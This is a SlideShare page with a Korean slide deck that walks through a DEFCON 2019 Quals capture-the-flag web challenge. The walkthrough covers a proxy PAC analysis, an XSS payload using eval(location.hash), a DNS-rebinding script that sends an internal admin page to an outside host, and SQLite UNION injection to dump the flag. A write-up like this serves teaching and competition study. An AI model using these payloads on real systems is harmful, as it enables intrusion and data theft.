SlideShare a Scribd company logo
DEFCON 2019 Quals
Web - ooops
문제 설명
Step 1
• info.pac 분석

• eval -> console.log
Step 1
• info.pac 분석

• OnlyOne:overflow@ooops.quals2019.oooverflow.io:8080 프록시 설정 후 oooverflow.io 접속
Step 1
• URL 에 oooverflow 포함 시 blocked 페이지에 접근.
Step 1
• URL 입력 시 봇이 실행 됨.
Step 1
• referer 헤더를 보면 내부 서버에서 부터 시작됨을 알 수 있음.
• 특정 주기로 내부 IP 가 계속 변경 됨. (10.0.*.*)
35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464
"http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64)
AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
Step 2.1 - XSS
• URL 에 oooverflow 포함 시 blocked
페이지에 접근. 

(e.g) http://10.0.*.*:5000/oooverflow
• main.js
• document.location 렌더링
function split_url(u) {
u = decodeURIComponent(u); // Stringify
output = u[0];
for (i=1;i<u.length;i++) {
output += u[i]
if (i%55==0) output+= "<br/>";
}
console.log(output)
return output
}
window.onload = function () {
d = document.getElementById("blocked");
d.innerHTML=(split_url(document.location) + " is blocked")
}
Step 2.1 - XSS
• http://oooverflow.io/<img src=x onerror=alert(1)>
Step 2.1 - XSS
• 55글자 마다 <br/> 추가
• eval( location.hash )
http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/

<img src=x onerror=eval(location.hash.substring(1))>
#eval(unescape('alert("1")'))
Step 2.2 - DNS Rebinding
• DNS Rebinding
• SOP(Same-origin policy)
Step 2.2 - DNS Rebinding
• DNS Rebinding
1. test.wooeong.kr 접근 ( test.wooeong.kr = 45.32.62.117 )
2. Delay 발생 ( DNS 변경 )
3. test.wooeong.kr 재접근 ( test.wooeong.kr = 127.0.0.1 )
4. 127.0.0.1 접근 !
Step 2.2 - DNS Rebinding
<script>
setTimeout(function() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://test.wooeong.kr/admin/view/1");
xhr.onreadystatechange = function () {
if (xhr.status === 200) {
location.href = "http://wooeong.kr/res?x=" + btoa(xhr.responseText);
}
};
xhr.send();
}, 10000);
</script>
Step 3 - SQL Injection
<!doctype html>
<html>
<head>
<title>OOOPS &mdash; Evaluate Requests</title>
<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/
iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">
<!-- Query: select rowid,* from requests where rowid=1; -->
<p>
Request #1 from b&#39;10.255.0.2&#39;.
Automatically evaluated
</p>
<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="http://3ccdcab0.0a00061a.rbndr.us:5000">
Visit http://3ccdcab0.0a00061a.rbndr.us:5000
</a>
</div>
</div>
</body>
</html>
Step 3 - SQL Injection
• Simple SQL Injection ( SQLite )

1. Union select - 컬럼 개수 맞추기
union select 1,2,3,4,5
2. 스키마 탐색 - sqlite_master
0 union select 1,group_concat(name),3,group_concat(sql),5
from sqlite_master where type='table'
==> CREATE TABLE flag (name TEXT, flag TEXT),CREATE
TABLE requests (ip TEXT, ts datetime, url TEXT, visited integer)
Step 3 - SQL Injection
결론
1. info.pac 분석
- 프록시 연결
2. 내부로 접근할 수 있는 방법 찾기
- XSS
- DNS Rebinding
3. SQL Injection
4. Get FLAG !
Thank you

More Related Content

PDF
HTTP 완벽가이드- 13 다이제스트 인증
PPTX
Elastic stack
PDF
Infinum Android Talks #16 - Retrofit 2 by Kristijan Jurkovic
PPTX
Web sockets
PDF
Caching. api. http 1.1
PPTX
How (not) to kill your MySQL infrastructure
PPTX
How to Install Odoo 11 on Ubuntu 16.04?
PDF
MongoDB performance tuning and load testing, NOSQL Now! 2013 Conference prese...
HTTP 완벽가이드- 13 다이제스트 인증
Elastic stack
Infinum Android Talks #16 - Retrofit 2 by Kristijan Jurkovic
Web sockets
Caching. api. http 1.1
How (not) to kill your MySQL infrastructure
How to Install Odoo 11 on Ubuntu 16.04?
MongoDB performance tuning and load testing, NOSQL Now! 2013 Conference prese...

What's hot (20)

PPTX
Cross Origin Resource Sharing (CORS) - Azizul Hakim
PDF
10 Key MongoDB Performance Indicators
PPTX
MySQL Monitoring using Prometheus & Grafana
PDF
Breach > ATT&CK > Osquery: Cross-platform Endpoint Monitoring with Osquery
PPTX
How To Deploy And Scale Meteor Applications
PDF
Varnish Cache and Django (Falcon, Flask etc)
PDF
Mongo performance tuning: tips and tricks
PPT
Nodejs quick start
PDF
MySQL replication & cluster
PPTX
Elasticsearch 설치 및 기본 활용
PDF
Volley - Android Networking
PDF
[2014/10/06] HITCON Freetalk - App Security on Android
DOCX
Governor limits
PDF
Security in Node.js
PDF
톰캣 #09-쓰레드
PDF
Webinar: Was ist neu in MongoDB 2.4
PPTX
Install odoo v8 the easiest way on ubuntu debian
DOC
Tomcat ssl 設定
KEY
Shibuya,trac セッション
Cross Origin Resource Sharing (CORS) - Azizul Hakim
10 Key MongoDB Performance Indicators
MySQL Monitoring using Prometheus & Grafana
Breach > ATT&CK > Osquery: Cross-platform Endpoint Monitoring with Osquery
How To Deploy And Scale Meteor Applications
Varnish Cache and Django (Falcon, Flask etc)
Mongo performance tuning: tips and tricks
Nodejs quick start
MySQL replication & cluster
Elasticsearch 설치 및 기본 활용
Volley - Android Networking
[2014/10/06] HITCON Freetalk - App Security on Android
Governor limits
Security in Node.js
톰캣 #09-쓰레드
Webinar: Was ist neu in MongoDB 2.4
Install odoo v8 the easiest way on ubuntu debian
Tomcat ssl 設定
Shibuya,trac セッション
Ad

Similar to [OpenTRS-001] ooops (20)

PPTX
Performance #4 network
PPTX
Java EE 8
PDF
From Zero to Hero - Centralized Logging with Logstash & Elasticsearch
PDF
From zero to hero - Easy log centralization with Logstash and Elasticsearch
PPTX
Rpi python web
PDF
Web Standards Support in WebKit
PDF
Android Performance #4: Network
PPTX
OWASP San Diego Training Presentation
PDF
Debugging: Rules And Tools - PHPTek 11 Version
PDF
HTTP / 1, HTTP / 2 and HTTP / 3: Past, present and the future of APIs
PPTX
Introduction to Vert.x
PDF
WildFly v9 - State of the Union Session at Voxxed, Istanbul, May/9th 2015.
PDF
ERRest - Designing a good REST service
KEY
Rack
PDF
Talk about html5 security
PPTX
Solving anything in VCL
PDF
Top5 scalabilityissues withappendix
PDF
Bootstrapping multidc observability stack
PDF
5.node js
PDF
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
Performance #4 network
Java EE 8
From Zero to Hero - Centralized Logging with Logstash & Elasticsearch
From zero to hero - Easy log centralization with Logstash and Elasticsearch
Rpi python web
Web Standards Support in WebKit
Android Performance #4: Network
OWASP San Diego Training Presentation
Debugging: Rules And Tools - PHPTek 11 Version
HTTP / 1, HTTP / 2 and HTTP / 3: Past, present and the future of APIs
Introduction to Vert.x
WildFly v9 - State of the Union Session at Voxxed, Istanbul, May/9th 2015.
ERRest - Designing a good REST service
Rack
Talk about html5 security
Solving anything in VCL
Top5 scalabilityissues withappendix
Bootstrapping multidc observability stack
5.node js
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
Ad

More from Theori (8)

PDF
[OpenTRS-001] LCARS000
PDF
[OpenTRS-001] Vitor
PDF
[OpenTRS-001] RTOoOS
PDF
[OpenTRS-001] Keynote
PDF
[OpenTRS-001] LCARS022
PDF
[OpenTRS-001] Hotel California
PDF
[OpenTRS-001] election_coin
PDF
[OpenTRS-001] ASRybaB
[OpenTRS-001] LCARS000
[OpenTRS-001] Vitor
[OpenTRS-001] RTOoOS
[OpenTRS-001] Keynote
[OpenTRS-001] LCARS022
[OpenTRS-001] Hotel California
[OpenTRS-001] election_coin
[OpenTRS-001] ASRybaB

Recently uploaded (20)

PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
Big Data Technologies - Introduction.pptx
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Encapsulation theory and applications.pdf
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
KodekX | Application Modernization Development
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PPT
Teaching material agriculture food technology
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Review of recent advances in non-invasive hemoglobin estimation
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
NewMind AI Monthly Chronicles - July 2025
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Big Data Technologies - Introduction.pptx
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Network Security Unit 5.pdf for BCA BBA.
Encapsulation theory and applications.pdf
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
KodekX | Application Modernization Development
Mobile App Security Testing_ A Comprehensive Guide.pdf
Chapter 3 Spatial Domain Image Processing.pdf
Digital-Transformation-Roadmap-for-Companies.pptx
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Reach Out and Touch Someone: Haptics and Empathic Computing
Advanced methodologies resolving dimensionality complications for autism neur...
Teaching material agriculture food technology
The Rise and Fall of 3GPP – Time for a Sabbatical?
Review of recent advances in non-invasive hemoglobin estimation
Understanding_Digital_Forensics_Presentation.pptx
NewMind AI Monthly Chronicles - July 2025

[OpenTRS-001] ooops

  • 3. Step 1 • info.pac 분석
 • eval -> console.log
  • 4. Step 1 • info.pac 분석
 • OnlyOne:overflow@ooops.quals2019.oooverflow.io:8080 프록시 설정 후 oooverflow.io 접속
  • 5. Step 1 • URL 에 oooverflow 포함 시 blocked 페이지에 접근.
  • 6. Step 1 • URL 입력 시 봇이 실행 됨.
  • 7. Step 1 • referer 헤더를 보면 내부 서버에서 부터 시작됨을 알 수 있음. • 특정 주기로 내부 IP 가 계속 변경 됨. (10.0.*.*) 35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464 "http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
  • 8. Step 2.1 - XSS • URL 에 oooverflow 포함 시 blocked 페이지에 접근. 
 (e.g) http://10.0.*.*:5000/oooverflow • main.js • document.location 렌더링 function split_url(u) { u = decodeURIComponent(u); // Stringify output = u[0]; for (i=1;i<u.length;i++) { output += u[i] if (i%55==0) output+= "<br/>"; } console.log(output) return output } window.onload = function () { d = document.getElementById("blocked"); d.innerHTML=(split_url(document.location) + " is blocked") }
  • 9. Step 2.1 - XSS • http://oooverflow.io/<img src=x onerror=alert(1)>
  • 10. Step 2.1 - XSS • 55글자 마다 <br/> 추가 • eval( location.hash ) http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/
 <img src=x onerror=eval(location.hash.substring(1))> #eval(unescape('alert("1")'))
  • 11. Step 2.2 - DNS Rebinding • DNS Rebinding • SOP(Same-origin policy)
  • 12. Step 2.2 - DNS Rebinding • DNS Rebinding 1. test.wooeong.kr 접근 ( test.wooeong.kr = 45.32.62.117 ) 2. Delay 발생 ( DNS 변경 ) 3. test.wooeong.kr 재접근 ( test.wooeong.kr = 127.0.0.1 ) 4. 127.0.0.1 접근 !
  • 13. Step 2.2 - DNS Rebinding <script> setTimeout(function() { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://test.wooeong.kr/admin/view/1"); xhr.onreadystatechange = function () { if (xhr.status === 200) { location.href = "http://wooeong.kr/res?x=" + btoa(xhr.responseText); } }; xhr.send(); }, 10000); </script>
  • 14. Step 3 - SQL Injection <!doctype html> <html> <head> <title>OOOPS &mdash; Evaluate Requests</title> <link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/ iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head> <body> <div class="container"> <div class="row"> <!-- Query: select rowid,* from requests where rowid=1; --> <p> Request #1 from b&#39;10.255.0.2&#39;. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="http://3ccdcab0.0a00061a.rbndr.us:5000"> Visit http://3ccdcab0.0a00061a.rbndr.us:5000 </a> </div> </div> </body> </html>
  • 15. Step 3 - SQL Injection • Simple SQL Injection ( SQLite )
 1. Union select - 컬럼 개수 맞추기 union select 1,2,3,4,5 2. 스키마 탐색 - sqlite_master 0 union select 1,group_concat(name),3,group_concat(sql),5 from sqlite_master where type='table' ==> CREATE TABLE flag (name TEXT, flag TEXT),CREATE TABLE requests (ip TEXT, ts datetime, url TEXT, visited integer)
  • 16. Step 3 - SQL Injection
  • 17. 결론 1. info.pac 분석 - 프록시 연결 2. 내부로 접근할 수 있는 방법 찾기 - XSS - DNS Rebinding 3. SQL Injection 4. Get FLAG !